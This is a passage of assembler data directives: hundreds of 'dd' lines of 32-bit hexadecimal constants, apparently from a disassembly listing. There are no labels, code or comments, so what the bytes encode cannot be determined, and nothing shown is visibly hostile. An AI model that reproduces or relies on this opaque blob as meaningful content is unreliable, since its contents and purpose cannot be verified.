		dd 0F8F6A002h, 4A20924h, 233DDFh, 14F352BFh, 44D713E8h
		dd 9BC16C00h, 6B7F9FBCh, 258009E1h, 62073B3Dh, 7DE8808Bh
		dd 66387751h, 426B00B0h, 8E2EBF0Bh, 0FA2D045Ah,	0C010652Ah
		dd 8AE79DA4h, 441B418Ah, 0AE1AE8EFh, 0C7BC00DFh, 2E9EE19Bh
		dd 310019BBh, 2CC189D2h, 381483h, 0E13FB55h, 4DB77068h
		dd 0C5025CEEh, 0ABEC3ECFh, 5A988047h, 3195C9h, 233B6D43h
		dd 5D8157F5h, 3EF27800h, 0B71EA824h, 0B9B400A6h, 0EE95026Dh
		dd 0CD144C9Fh, 0E8E640h, 45DC3099h, 0CAC36Bh, 59F9BFACh
		dd 0A8DF21D4h, 99383500h, 0F5802C83h, 115612D0h, 524447FFh
		dd 59B6A769h, 0AC449020h, 0F200D602h, 222FDBDEh, 0CC7B12h
		dd 0B8036680h, 6021745Bh, 0E10F4578h, 6E7EA15Ch, 92D90536h
		dd 0EB8B3C91h, 9ACEECh,	75672B7Fh, 0B80F3F4Eh, 0D5540100h
		dd 0BED24F6Bh, 77B6002Ch, 6116A007h, 7B00BF6Ch,	3558BB97h
		dd 7BAD4C2h, 0A88CADB5h, 334AD02Eh, 7E0EDE2Ah, 5FB9FDh
		dd 84E49E97h, 0E570381Ah, 76AB4781h, 2479336Bh,	0D9009060h
		dd 469B50E2h, 0A32F3Bh,	0B640635Eh, 0C7476849h,	586B7500h
		dd 715323BCh, 5A240045h, 5C263776h, 3A704F48h, 50494C0Fh
		dd 0AFD5EF06h, 92BCA0D4h, 780235h, 7A54FB08h, 6DAA5314h
		dd 0D4B18A01h, 641FC3D1h, 1F4B93F8h, 3FD1825h, 2ECEA7ACh
		dd 0A6678D8h, 896D6807h, 0C11026B3h, 17677205h,	4EEEF608h
		dd 20396F30h, 1EB90136h, 0CFD0DAD1h, 344A2EF8h,	0F7BF8044h
		dd 0ECD3607h, 2D37DE0Bh, 10A4080Fh, 2606B900h, 1B4F22h
		dd 8396E37Eh, 3A69BCA5h, 0BFC25001h, 153007F6h,	14893886h
		dd 4B0B81EFh, 8E0EFEE2h, 0BEC5EE90h, 9738F6C1h,	584AA93Fh
		dd 0A7904721h, 0D3B9C602h, 0B11076F8h, 0D00754B3h, 14A10E85h
		dd 0FAA06347h, 90287AC3h, 88E61E02h, 0E0AEE7A8h, 47EFA0h
		dd 0A62D08Eh, 6EF0C84Bh, 0EB77BB00h, 0D75F87B5h, 319B0074h
		dd 0F33E467h, 0B63FC16Ah, 4FA88030h, 0A29FA77Dh, 17C21E2Dh
		dd 211D3EA6h, 0B73CC0F6h, 0B3886D87h, 0E85EF309h, 476F073Bh
		dd 635510D0h, 6C4100D7h, 58FB9180h, 427B3605h, 46FE9302h
		dd 0C028EFC0h, 7EB1893h, 0B60D0799h, 0EC6E3057h, 0C00104F1h
		dd 46053AF6h, 0D2DCACB5h, 0FBF9C00Eh, 23A2482Fh, 9E0345E4h
		dd 0E686CE8Bh, 0A8A7F0D0h, 6E4F14F8h, 5200987Eh, 0AA25A483h
		dd 0C902C816h, 82BB693Fh, 4EA6E0E7h, 3E463790h,	0F8620638h
		dd 4205B480h, 92C71000h, 73F8D711h, 0ECDD0016h,	0B96A0ABDh
		dd 0FF0BEECAh, 0A0BF9E08h, 0DD5C30D8h, 52E0000Fh, 831367C0h
		dd 6A0EE239h, 0E07AFB7Bh, 0B0C3868Ch, 301901FAh, 94DA4A37h
		dd 96EC5335h, 0B51236E8h, 90FB471Eh, 0ED9273C2h, 5B7B6051h
		dd 0D8CA01E4h, 63EEC709h, 69A980B7h, 0D6999E01h, 46AD3F73h
		dd 636FC700h, 246D3B88h, 9DC398ABh, 0C1033171h,	46830F09h
		dd 3E280ECh, 569395Fh, 9097E304h, 60E8A118h, 4700C451h
		dd 46EDA12Ch, 0B481CCh,	0B8833BE6h, 7DE45490h, 0E5288E00h
		dd 0E9BE6AFAh, 0EE5700A6h, 0E01F4E9Ch, 9900AA04h, 2A8B4FAFh
		dd 5C841BC0h, 2300A416h, 8059146Ah, 80FDE8E9h, 0D3517E19h
		dd 1831873h, 0F8C1EA95h, 81E17697h, 2D7C2320h, 0CEF0CFFCh
		dd 9F4F018Dh, 4CED9417h, 619941Dh, 986A1CD8h, 7D31EEC0h
		dd 7B16DB97h, 1E27D9Ah,	0F9CFBB04h, 816CA60Eh, 77E36F58h
		dd 29303453h, 0AB6D00B4h, 65E2FAFCh, 92374360h,	0F3C12847h
		dd 1887DEC8h, 4C539342h, 5C063A99h, 0CC70277Fh,	7CDC0B68h
		dd 4280D450h, 4CE20688h, 0A0DB5930h, 186CFB04h,	81F70EFAh
		dd 0A872E35Ch, 1DAD58C7h, 88BBAA40h, 98F330F9h,	18017419h
		dd 83158E1Fh, 5781C0Fh,	9400474Ah, 0CA603C6Dh, 7C5D0FE2h
		dd 0E12C15CEh, 1042FC90h, 0C2215610h, 0C38144h,	10E85C02h
		dd 0EA16851Dh, 0F36CFCC1h, 744FF554h, 0E010FC10h, 792548h
		dd 955BEA92h, 297CE011h, 6ACCA254h, 1870CD34h, 0F30D08C1h
		dd 6F7A1883h, 5003F75Bh, 0E33E04Fh, 0D71016Ah, 0EF9944AAh
		dd 0E811E485h, 5908BD66h, 0B1A60021h, 7C254944h, 50C5F0A1h
		dd 0AC00987Dh, 1894161Eh, 0F02C9087h, 299E00E4h, 88A7AA4h
		dd 0D16502FDh, 9840FE08h, 0F12986C1h, 0E4510568h, 0E2E670h
		dd 859F6D7Ch, 0E561C480h, 552FC111h, 0C308C70h,	0C06068F2h
		dd 0A4A0F33Ch, 3700A76Dh, 58FA5055h, 0FB84ABBBh, 510A5082h
		dd 0DC807693h, 9DB36C88h, 0F68481C0h, 32A254Ah,	81DCB843h
		dd 824A86Bh, 7BD14DDh, 0A322592h, 0D5DD360h, 7CED0540h
		dd 1C5483Fh, 16CEEA0h, 1F8440F7h, 80AC9816h, 0A829B204h
		dd 0EF62AA7Ah, 0FA29422Ch, 0CCBB00EAh, 0EE5C8A42h, 410C4C02h
		dd 0B01E86F2h, 0BB71120Ah, 2C3C4F60h, 0E3B69060h, 2F6001F7h
		dd 494EB0E4h, 20DA007Ah, 253F064h, 0BA1C3731h, 4C41B7E6h
		dd 356F521h, 0EB2FC4h, 0BC95B3DFh, 0ED3C17E4h, 0BFB55A00h
		dd 659FDB23h, 0D0570F02h, 2420DAD8h, 9FDB7C1h, 8429ED00h
		dd 441A31E6h, 3ED074EFh, 558B6405h, 41035313h, 24A84328h
		dd 0F0096C79h, 80AEF3BBh, 9BEEDB7Bh, 3B580005h,	2CC60C54h
		dd 5F0052E6h, 0A66CBF16h, 3C53A01h, 0A2C1FB9Fh,	0E4C03CBDh
		dd 0C30608A7h, 0E5975CA1h, 0D0048730h, 476EB421h, 78D56110h
		dd 8CE45859h, 92281C60h, 63E8803Dh, 0A95221ECh,	9D28BC62h
		dd 22D82467h, 8661168h,	0C6704575h, 22F5F213h, 8924D42Ah
		dd 6F104022h, 83E89F3h,	9C7F4411h, 0F2692284h, 1C112242h
		dd 1EA82175h, 106CD0B3h
		dd 9E00ABF6h, 0E6069BC9h, 0AC00DD0Fh, 7EC34B6Ah, 7F792CBEh
		dd 0ED7A48h, 1D2E38DEh,	0B55F288h, 3458CA01h, 0B08F29A5h
		dd 0D190F8h, 0B314325Ch, 4C7D92Bh, 6E779E00h, 0DA0278A6h
		dd 0A5F3001Eh, 62992E9h, 3D00EE72h, 8AAA095Fh, 0F6944F46h
		dd 41D43E9Bh, 208EC4BFh, 16C015BBh, 735263C1h, 66D5CD01h
		dd 1BE4E7DFh, 0B0325FFCh, 95140010h, 6DF85834h,	1D00C6DCh
		dd 570B89FBh, 0E5191FAh, 49AF6890h, 0F8773060h,	815888D3h
		dd 950170A6h, 0B7604469h, 0DFC16522h, 38C58271h, 160CA7E0h
		dd 7998480h, 731B3CB1h,	7ED83474h, 6E00D1E0h, 6A123F3Eh
		dd 7DD3735h, 0EA712A8Eh, 0E65710FDh, 0D600FEF3h, 25F0AE92h
		dd 0E686Dh, 0DF887A3Dh,	0CDDB52EFh, 400849h, 0FCF6EDC0h
		dd 748F77A5h, 0A5200C9h, 39EB863Eh, 5700499Ah, 82AE48F5h
		dd 1DDFDFEh, 0A51AFC69h, 313F4A31h, 501887D9h, 2C22E92Bh
		dd 34BEC033h, 57E4075Ch, 807639C4h, 4C8432AFh, 0DB567012h
		dd 0E081041Bh, 1693F7A2h, 831072h, 9EFE6EDDh, 0F603EA48h
		dd 0A5A34999h, 8BB688A1h, 1B651F76h, 0AAE3400Bh, 0DE5F8AD0h
		dd 1F467A39h, 38000AF0h, 4BD1537h, 0F8AF00E8h, 74CEC4B1h
		dd 0F006C16h, 97CC21E2h, 397B51E6h, 0F8180B6Bh,	0C1FE78D2h
		dd 0CC384E00h, 0B63F026Dh, 9C66286Fh, 34F0EF84h, 337607E4h
		dd 0C05972E2h, 2B314FADh, 6277CF00h, 0AFFA365Eh, 0DD3B00CDh
		dd 6DC8CACBh, 500193Ah,	0B9E29763h, 5F1F56h, 0B8071727h
		dd 0DD960930h, 9CF5503Ch, 0FD00A236h, 9EAA7CCBh, 85CC0034h
		dd 4918F4F7h, 683C1A3Ch, 247180EAh, 0EFBC446Eh,	77AD003Dh
		dd 29A2D691h, 1C035292h, 6D62B836h, 0E5761EA8h,	0D580F5Eh
		dd 99315780h, 0A07C21E8h, 95B0BE00h, 36C843Ch, 291F1E7Bh
		dd 474400D9h, 1EFA869Bh, 0AE9EE100h, 4059CD4Ah,	0ED710EA4h
		dd 0C0C0E601h, 0D8E3E429h, 98F8E000h, 4B9175CDh, 0EC192452h
		dd 67C08428h, 0C874807Bh, 89002B9Ah, 0A129A3C5h, 0F3417Dh
		dd 6F3C1324h, 7A4F23ECh, 2009540Ah, 8F00AC80h, 0AFBB9F4Ah
		dd 0B54003DBh, 0B6FAE0D7h, 0D090D298h, 8F51AB3Ch, 20B80DE4h
		dd 66621142h, 76D00AFh,	0B2FEDB55h, 5F00A3D7h, 7C59C44Fh
		dd 26411EECh, 89ECB794h, 3C1CA547h, 0D6EEE61Fh,	27908D80h
		dd 0C6F816h, 0CE47E028h, 0F1BA9A07h, 7F033490h,	290F5276h
		dd 264E0061h, 6C349B7Bh, 600E2DFCh, 0E03128EFh,	4B8678F4h
		dd 0A54800AAh, 0BD7D1B66h, 0ACEE9108h, 0B776C600h, 31F08EA7h
		dd 0AE900F0Fh, 0E2A09F20h, 0AAFD1C5h, 0A901887Fh, 0CEF8FB87h
		dd 0B0DFB779h, 195ABEh,	0C604857Dh, 0B4B93E3Ah,	73E75207h
		dd 0FE527CC2h, 2A2CC05Ah, 0B3D83E0Dh, 7FC84400h, 4B0F87B9h
		dd 0B517CA03h, 0A83A12DBh, 0B87A6CAAh, 0E26609F2h, 0B0A07DAEh
		dd 0C43D095h, 28C5B500h, 0EF64D1F7h, 0B498D2h, 0A52533EAh
		dd 0D40E86CAh, 15DAC501h, 0A2DE2280h, 4B5DD0h, 769ABA7Ah
		dd 91FEF54Ah, 8E9C3000h, 0C2822042h, 2D16004Eh,	1D89DF32h
		dd 0B371F0FAh, 5D336E00h, 0CC2C3F47h, 973D00E1h, 8D386C15h
		dd 0EB0014F5h, 7FD9879Fh, 5BD7FAh, 33D35F24h, 0DC073B7Ch
		dd 15339h, 69617195h, 5C4636FFh, 0AD0034E1h, 90ED4AB9h
		dd 0E3D201Fh, 260849A0h, 0C04184BEh, 5C202E17h,	0BAC50938h
		dd 805D80CEh, 0EBB5B81Fh, 403E0720h, 0C0300C37h, 39528AF8h
		dd 0B71D2900h, 0F39A6EDDh, 0B4E84C81h, 61C81B18h, 267D03Ah
		dd 8B30AEC9h, 4C46EB6Bh, 0ED033081h, 7B1368DDh,	0A41E6800h
		dd 0C3850899h, 0EB7800D3h, 0C1AD2084h, 25031594h, 0B67D262Ch
		dd 70E5E09Bh, 558B09BDh, 1500D5E4h, 0B45E66ACh,	3100BEFCh
		dd 3D6FC3CEh, 26D7957Ch, 9482EE6h, 8E0E7FD3h, 76F374h
		dd 1D3F2A43h, 0F7371711h, 0C4958D00h, 2FBD30EDh, 0DFE2006Ah
		dd 10B4B5D9h, 0D103C379h, 1DA912C8h, 0DE0B8172h, 1E6870h
		dd 0E353D761h, 5EFF6489h, 7C9B4101h, 94C7978Bh,	499E4FE4h
		dd 521CB82Dh, 0B45400EAh, 7691CB7Bh, 85F11612h,	4287BC03h
		dd 175CE860h, 0A37AFA82h, 0A05AA3C8h, 807D6720h, 500E0DEAh
		dd 3F3AC525h, 0A1D5EB00h, 758E83E7h, 0BCCB0A6h,	8B63E351h
		dd 0D992B8A0h, 29052410h, 0A9B9495Bh, 0B3C3C800h, 1126C7h
		dd 0A1B125C0h, 923464DEh, 0CA4B424h, 4E16540h, 7C8000ACh
		dd 2F765966h, 0EA1E3ECBh, 0B4404B39h, 0AC3F8FE9h, 0E3931C4Fh
		dd 833409E0h, 8A610401h, 70740058h, 0E29B0387h,	0D13924F7h
		dd 14FCBF88h, 8ACF430Eh, 92A78016h, 1E0E28EAh, 87C8129Bh
		dd 1D12E6Eh, 0C8BD6A79h, 0AB001C57h, 231786CFh,	3B0356h
		dd 84C858D5h, 127D79B6h, 0A3AEDE00h, 2D89B150h,	0F3F9071Ch
		dd 7EC6E6BBh, 0BE179AA1h, 0E8A771D0h, 6260A739h, 90B1D6A0h
		dd 6C8D0135h, 38210129h, 0B8B6DCD8h, 5D0024F4h,	7633BA7h
		dd 0F064F161h, 7EB3039Fh, 0A658E913h, 204C288h,	397C7801h
		dd 42AE18C6h, 0FC1860h,	0FFE0F10Bh, 0F4B7EF9Ch,	871C4E00h
		dd 0D3EADD14h, 0F9735Ch, 7DB6FEF7h, 4F43DF50h, 0AB03250h
		dd 0B71F4C77h, 72001D24h, 0C358CDE8h, 490D4h, 0EACBC7C6h
		dd 2F5570B4h, 3C930A1Eh, 2090724Ch, 67962CB3h, 7F1F0E2Ch
		dd 8038B80h, 8D72A19Fh,	0A0CB5204h, 39C2D7E2h, 7AA36001h
		dd 8CB9031Ch, 0FC442979h, 0D02457C0h, 0B04DD200h, 6B75DECAh
		dd 0A15B00DFh, 0A070077Ch, 9A2C58B9h, 0BE0004B6h, 0BCDC7A17h
		dd 54F000ECh, 9111CC64h, 5B0B57A3h, 0A01CF1F3h,	65B4C480h
		dd 6C74EF78h, 0A5D81D2Dh, 3D1240A7h, 0B7DBFA29h, 0E808B600h
		dd 0E7715873h, 136F9847h, 9344869h, 286075DCh, 6FFE4FFDh
		dd 57877B1Ch, 1B05BE80h, 3346FAh, 84685D01h, 0D97872E0h
		dd 3CCABD24h, 0AA51C502h, 10CCA05Eh, 3F1EE14h, 4BDEF4F8h
		dd 0A8702034h, 852CD23Fh, 0A7721299h, 8FE7F607h, 331017F7h
		dd 79F56Eh, 0F631DFC0h,	3DFC45F2h, 0CFF3A101h, 5A3F954Fh
		dd 969E60h, 88369829h, 0FDE661E4h, 24D09C05h, 14C0B279h
		dd 0C0F66041h, 0C695C198h, 8C001CA4h, 0BECA08F1h, 3FB32449h
		dd 5F8293E6h, 2B06FD94h, 92A89F63h, 46399C03h, 218B004Fh
		dd 581B4E9h, 15EB0035h,	72D5C7A8h, 643EC914h, 0AC160091h
		dd 0AE265F8Bh, 0DB3C3E0Eh, 6C8C0100h, 205EDF0Ch, 508DAF38h
		dd 6B0052B6h, 0E6BEB025h, 78E6DD7h, 2659ACC2h, 0D9C190CCh
		dd 770FC7E5h, 0B2F188h,	0F70DB31Fh, 51A50043h, 14A939EDh
		dd 0A10073D7h, 0A7546D8Ah, 139122h, 77CB2BC9h, 6C89215Eh
		dd 1A1C3C02h, 804988CFh, 0FC9FABBCh, 46770B39h,	2080A426h
		dd 44A336A6h, 1C32F00h,	0A9BD98A2h, 0B8D4001Fh,	97D0EF69h
		dd 0A124F85Fh, 0E009860h, 545C727h, 119A0001h, 9EAEE1D6h
		dd 0AD07A35Ah, 0D7CBBF38h, 0D3FA600Fh, 0E7F8C18h, 0A778739Bh
		dd 53194802h, 8E67D440h, 34FD5207h, 9340B7E4h, 95A1D0h
		dd 31AE9A17h, 6E26B162h, 7B49B400h, 237494FCh, 0BC6B0198h
		dd 0AD2AF815h, 1E8DF0F9h, 0E5F7907h, 10C04CD0h,	0AA0151h
		dd 0B74617E5h, 0A1FB1F2Ah, 927DDF00h, 572C3786h, 30F4B0DBh
		dd 0DE19C21Eh, 0ED00BBA3h, 2747FF78h, 0D2A701h,	0B1C1C4F6h
		dd 7B83651Fh, 93B35200h, 0B9223023h, 1492C8h, 0DB68585Ah
		dd 0A25B7C88h, 511EF200h, 0FD5340E0h, 643700D1h, 90A8CD32h
		dd 9100DB10h, 46ABCBF8h, 0FA75E0F0h, 0ED6F0007h, 0E84E48F7h
		dd 260090CFh, 0FD0F1AEFh
		dd 0F896E2E4h, 3DBB00C6h, 492E727Fh, 7E018C68h,	0D0AEEB2h
		dd 0F230879Ah, 1589059h, 0ECAE1F3Fh, 0E42B04B4h, 0D573E6FBh
		dd 0B2A4E507h, 35C0FA5Bh, 20C14DFh, 0C390ACDBh,	4840C2BBh
		dd 45000261h, 0BA499C32h, 9596C1Fh, 0A85779EBh,	4C034E2h
		dd 0F43BE205h, 0E15D801Ah, 0AF3D5527h, 31972DAh, 4C653CD9h
		dd 3980D381h, 9C504E4Dh, 481C8FACh, 1900699Dh, 33639EECh
		dd 4DB10029h, 22F56A09h, 591D434Eh, 1C3D646Ch, 55400C1Dh
		dd 18F8AF37h, 1BF4004Dh, 515E26DDh, 40C078D6h, 0F35074B4h
		dd 0FBC900A2h, 9EE23CDBh, 0C40115D8h, 782C1316h, 0AA405F10h
		dd 18ED4E8h, 7C8C5773h,	6049F2ECh, 880048B0h, 0CCD7AA6Dh
		dd 9FDFE5Fh, 0FFDB60B4h, 1C1464A5h, 4B42DEC0h, 0BCA03291h
		dd 0FE4AB8ACh, 0FB245900h, 80C1700Bh, 773898DEh, 9B9502A1h
		dd 7A0F7B15h, 0A6D01CC3h, 0EF0186F1h, 0BD9C973Dh, 0ECF8E5D1h
		dd 49290038h, 5B36A825h, 0CC17C7B9h, 19C08678h,	377D1BFh
		dd 2E1E79DEh, 3005F8BBh, 0D5113689h, 23664481h,	443990EDh
		dd 0CA0F4448h, 0BC1BE0h, 78A86372h, 64FC46BAh, 301FF900h
		dd 0DD4C76E5h, 0CE541F3Dh, 8C8E00E0h, 0AB6675A1h, 0AE60AC24h
		dd 71F10800h, 0D64FA3h,	801B507Ah, 3837A7FDh, 147259h
		dd 0FF96348Ah, 999E312Bh, 0A5EE0830h, 5A4DDE03h, 0B307807Dh
		dd 70587B5Eh, 4B58B2B9h, 65F0403Ch, 0BA7D052Eh,	9FDEE30Bh
		dd 5223A1EBh, 5CF8DC17h, 237A3A60h, 0D4923F7Ah,	0B145CC85h
		dd 0A2D80188h, 0F319CB6Ah, 1687F7A8h, 54AC5C00h, 0F4C7831Fh
		dd 70596108h, 7AB819FEh, 3891F980h, 7010088h, 0F550DE06h
		dd 0CC00A5DCh, 897F1A62h, 0A49CF9h, 5A26BB64h, 0FFE81B1h
		dd 0B96CED00h, 8E10C5A7h, 94072EA1h, 83C40048h,	66F012B8h
		dd 0F78F1900h, 0EF8E3B0Fh, 0C070004Dh, 921844C2h, 8A00A889h
		dd 0F7AADF5Eh, 30C81360h, 66F0B3F3h, 6003528h, 0B40E8E61h
		dd 8111F9h, 0D08F364Bh,	8AC1CEEFh, 84F2F4FEh, 49C54C07h
		dd 0A970CBBCh, 4A3732h,	0DEEB78FBh, 2C98BF99h, 6249598h
		dd 6C0177C5h, 8BD27E32h, 0BF91052Eh, 0B1E000D6h, 48D9E31Ah
		dd 37DED700h, 0E8B2B32h, 254001Ch, 0ECD03DD2h, 46000409h
		dd 47729221h, 290BC430h, 0A8E9AAh, 25326BBEh, 541771CDh
		dd 0B7054421h, 94A0BB16h, 55200AA0h, 84CCA438h,	0C4A378A6h
		dd 0B2CC0EC4h, 6A298B40h, 75003D9Bh, 421C342Dh,	2818F11h
		dd 5F935988h, 78724B46h, 7A077FF4h, 0DB24E507h,	2E013E10h
		dd 569078Ch, 5A93ED1Ah,	0EFE80FCCh, 6C3DA60h, 9E01E435h
		dd 2C721A13h, 85FC0AF8h, 9870F458h, 4C5C0109h, 7D311FA2h
		dd 0D9FED8FBh, 85003F70h, 0C56373B1h, 74966D5h,	0CE6F2EA7h
		dd 3634A04Fh, 7300E4F6h, 569AE8F4h, 3E286Dh, 57E92D9h
		dd 0A3AE54B6h, 16BF6B3Bh, 0B00C4E7h, 672A0A23h,	0B960076h
		dd 0B7F6E2A9h, 860036ADh, 11CBCDBEh, 3A0C9909h,	0F58F973Eh
		dd 9D8076DFh, 0E6B1834Bh, 0EBF36309h, 0A08C0BAh, 0B4B90170h
		dd 26D071FAh, 5548FC99h, 0F4C16912h, 0B540C41Ch, 0A038F2FFh
		dd 5A8F0084h, 29DC61EFh, 3D030BD8h, 36F19EB4h, 4074DA2Bh
		dd 48C5AF50h, 0BA00542Fh, 6D0217C3h, 5D017583h,	0FD634137h
		dd 6BFC062Bh, 977A1E45h, 17D6BDh, 7BBBD0B8h, 65003659h
		dd 74CC18B0h, 4B4FDC52h, 0AA5C00D3h, 413163DDh,	7D557300h
		dd 4A142C45h, 399FE09h,	778B7110h, 0D5F8336Eh, 0A3006950h
		dd 0DD1F72B7h, 16D3E25Ch, 0BB761936h, 2512E502h, 80C448BAh
		dd 26F9F6F0h, 5096D5h, 428560Ah, 0F6390B1Ah, 0F4B977Ch
		dd 5E3B8430h, 89FE1Bh, 273E47C5h, 4CBF3FB9h, 359FED05h
		dd 0FCA4BE9Dh, 4C70FD3h, 15E3AC0Ah, 80A72827h, 0CB3D546Ah
		dd 8F6DAF00h, 3F5E701h,	60970017h, 0FA7FE468h, 0DB3C5BB3h
		dd 76DE81E1h, 0B61ACE9h, 0AECA8F7h, 35940E64h, 78E044FFh
		dd 7997DAB3h, 8B392300h, 2E11468Dh, 6B6015BEh, 8A01F86Ch
		dd 0A1920C7Dh, 0CD5C3410h, 0F700A092h, 2B517138h, 3D24F17h
		dd 9F0B4F2h, 0BFB89783h, 200BD3Ah, 15798973h, 0A8CE024h
		dd 6A1B8571h, 50A000A0h, 0A851B325h, 0C3E21109h, 0C6CC186h
		dd 0EEAE4h, 4DBC8DA0h, 77E0D8B6h, 58223Ch, 0EA28F651h
		dd 7EB0823h, 1E921407h,	7AF8E035h, 28E6DA57h, 534E9F00h
		dd 0FF12BD23h, 3C4098E8h, 99815AF1h, 0F61E1789h, 0CEE63071h
		dd 50B95058h, 2C001FA3h, 62855BC8h, 607B1D2h, 69748470h
		dd 6D00602Ah, 0F2AAFE16h, 26328DE6h, 404A15h, 547BD772h
		dd 61007406h, 0D2E32DD6h, 98AF0262h, 16334AB8h,	0C1F6007Ch
		dd 52B8EF1Ch, 0AFE4FA01h, 1BD3BD89h, 9C3420h, 319F8A2Ah
		dd 602DFD90h, 74F148h, 3D0C7EA0h, 718744Eh, 171B9BA9h
		dd 68FA3098h, 130163E5h, 0A3D24A80h, 0B2FC93DDh, 23450F16h
		dd 0AC802EAAh, 4C113532h, 62A41403h, 0B8EF2BF3h, 3CD07Fh
		dd 7080574Bh, 4647ABF1h, 2FE4D800h, 95022E7Dh, 0CD1E0069h
		dd 2518867Eh, 0AB17BBB1h, 8009D85h, 56CE19A9h, 3C5E7366h
		dd 0B859BFDBh, 0ED8E11h, 1DD54664h, 4BFE66h, 1EDFE4BCh
		dd 1BDA89E7h, 769260C0h, 0F15B8411h, 0E3666070h, 1F8DC0F4h
		dd 0C00F0621h, 3986FDA6h, 8200DBD8h, 0E3501119h, 0C95144F2h
		dd 0D0C88F70h, 32E28008h, 0EA00A4BCh, 0F5D7F1EDh, 0A03BB0F9h
		dd 5E7FBB34h, 8B80007h,	0FDBCE156h, 21C17DB8h, 53F0D414h
		dd 32D2CD0h, 27680795h,	0E5F94B63h, 0A46C83h, 9B9A7DC9h
		dd 1EC320A3h, 80B54933h, 1E3A0D9Ch, 0DC0F4DD5h,	0C0BF82CDh
		dd 0A50A92E6h, 16750F29h, 0F5E5A96Ch, 9524C01Eh, 0F0DFF006h
		dd 72332C0h, 16D8C8Bh, 748FE7E9h, 3067BC14h, 193D776Ch
		dd 178500EBh, 505FCF59h, 1639000Dh, 0CB0E9382h,	0DF0084A9h
		dd 6AEFCA6Fh, 1896030h,	0B4D22D7Eh, 0D776D9BBh,	79389003h
		dd 0E0FD5907h, 0AAF4ECh, 28D194E6h, 44AEC4F2h, 0ACA048EEh
		dd 0A8B631A0h, 46D27200h, 0C4B809h, 77B6412Fh, 0D8558DD3h
		dd 0B03F6400h, 9D265317h, 6FD4FF5Dh, 9FF400EEh,	0F71A3BFAh
		dd 0D60039CAh, 0E65B8B97h, 70FCFDh, 0BAB1C05h, 50F3B21Fh
		dd 0F7C6CC02h, 6096ED66h, 0EAD9C504h, 2BD4FCEh,	874E7B08h
		dd 5BFBA843h, 1F9F59D8h, 0A6BBAF0Fh, 0D001B790h, 0D198DD83h
		dd 0F42EE024h, 38C90088h, 0DB8CF329h, 96049991h, 8EF9A68Ah
		dd 4A2CA0h, 103896Eh, 6AF35CBDh, 9446648h, 21B82D5Eh, 0E9772290h
		dd 0E40AAC20h, 1B4BC94h, 0CF17DFF3h, 0FE1180BDh, 715F38F0h
		dd 6E3D0BD1h, 0F0E064C3h, 0EB73C449h, 183CF700h, 1C0BD026h
		dd 5EBF0989h, 0C00EFF5h, 0C8E81FDh, 6EAE3905h, 60E06D4Eh
		dd 775A0275h, 5C0327BEh, 3F538080h, 810182BDh, 0C1C87FB7h
		dd 4ED5EA45h, 5671B887h, 0B410095Bh, 8B038A77h,	2285C601h
		dd 5031F8A9h, 467600D8h, 0F47BB603h, 0F80F374Ah, 0C021EC4Ch
		dd 7C31F653h, 701D00AFh, 0C1D1E551h, 87049409h,	2C462F92h
		dd 0FE9F1D80h, 5F744C1Eh, 330D3105h, 7E1C908Fh,	2E043898h
		dd 0B9113756h, 5E85CC90h, 5C7400D3h, 9AE34F25h,	793C16FEh
		dd 3AE7051Ch, 0B0C0DAA7h, 6A8F7Fh, 442739EDh, 86410D91h
		dd 781C4358h, 7DE791A1h, 0F7A5C0E0h, 7FD70D87h,	927300E0h
		dd 0C7DC3C82h, 5100F32Dh, 0D9E874FAh, 0F06FF430h, 0F5A900E0h
		dd 0E3652B0Ah, 8B59C3AEh, 6AA60034h, 0B2EE8625h, 0F93A00F5h
		dd 2994AD87h
		dd 7F006740h, 0B922601Dh, 0B03EC126h, 53760000h, 7E1C016Ch
		dd 0E800FDB1h, 27C39F21h, 164CE14Eh, 0FC146064h, 0A077007Eh
		dd 3C29CEF6h, 22F100A2h, 4DA19CFh, 0C51FD5F4h, 0A9805296h
		dd 72CBDE4h, 0C97C2Bh, 0F4FE7FE9h, 0EAAC2D90h, 0A7AB3500h
		dd 968A7A0Bh, 102B1612h, 97744F8Fh, 2936FEC0h, 60397B03h
		dd 0A8439E2Eh, 0B48E7A40h, 98B170Bh, 8C701EB1h,	47DEEB0Ch
		dd 9BE6E000h, 9EAF0E41h, 990A008Dh, 3E358B80h, 6C967552h
		dd 8942E100h, 742358CFh, 0C078EAh, 0C7B4E5Ah, 0D0DE685Bh
		dd 0EF89E96Eh, 0D9EA4040h, 7414932Eh, 0B98D0082h, 7596F321h
		dd 0C2030B2Dh, 0F198AC9h, 0DC2804C6h, 81EAE982h, 0C852E654h
		dd 38A08A22h, 147E8DEDh, 6F93A003h, 0D47B5660h,	3AE4A9C0h
		dd 79FB488Ah, 818B6212h, 0FCDC5200h, 700CCBE9h,	48A71223h
		dd 3CA11416h, 0D6165468h, 0CB5C4C4Eh, 41001220h, 52BCA41Eh
		dd 0A790A5h, 93BAD9E3h,	0FFF6D144h, 0D3DB9A00h,	0A85C4AB2h
		dd 5713BB4h, 2DEDD603h,	0C9B87CC3h, 0EA01C1A2h,	0F78EE8EFh
		dd 9860D740h, 0F51C07B3h, 0A1457924h, 0CC5E3704h, 0E40094C6h
		dd 6083E10Bh, 0F733096h, 502DBF1Ch, 5F369247h, 15357FA0h
		dd 0FC0AB958h, 0D67A41E4h, 5721003Bh, 1D33D568h, 901C0030h
		dd 434A2FFEh, 4700B34Dh, 1FABE9ECh, 1FADEA7Bh, 0CF184446h
		dd 805D45CAh, 0E2E3ED3Eh, 8F0063C7h, 0C55A6A2Fh, 3EBA944Bh
		dd 0EE00E64Ah, 3B69C618h, 34918951h, 1DEC8580h,	7DE5B35h
		dd 0E626E78h, 21F84E7Bh, 1D00F417h, 2E238EAh, 113211Ah
		dd 0A70B9430h, 0E4E43FF3h, 5616AA58h, 47047D65h, 0F0B8BCC2h
		dd 0BE0C5C0Ah, 963240CCh, 0A071CAAEh, 0C9330490h, 5560898h
		dd 0AE8E0921h, 0DBB1C03Ch, 8101DFECh, 0CBA09E59h, 344185EFh
		dd 0A0067A99h, 181A3481h, 14AE0890h, 50C4B0A1h,	0AE880B40h
		dd 7D00CBB4h, 63EFE4F0h, 0A787C42h, 324ADFE6h, 0F0F42F94h
		dd 21BB2C0Fh, 6A079745h, 0E2CC503Ah, 0E7F3A900h, 0DE4E8A12h
		dd 56080266h, 1D990121h, 82E146A9h, 92903061h, 0B9D9C5EEh
		dd 0FC1918B0h, 0A1231EAEh, 2D1140h, 0CEAE8A05h,	2039D6Ch
		dd 0DA38E658h, 0EC82365Ah, 10F2972h, 0BA96EBB5h, 4CB4B19Ch
		dd 0E4105B6Fh, 5D40D600h, 77EB9A25h, 4BFD008Eh,	0DF8D93C3h
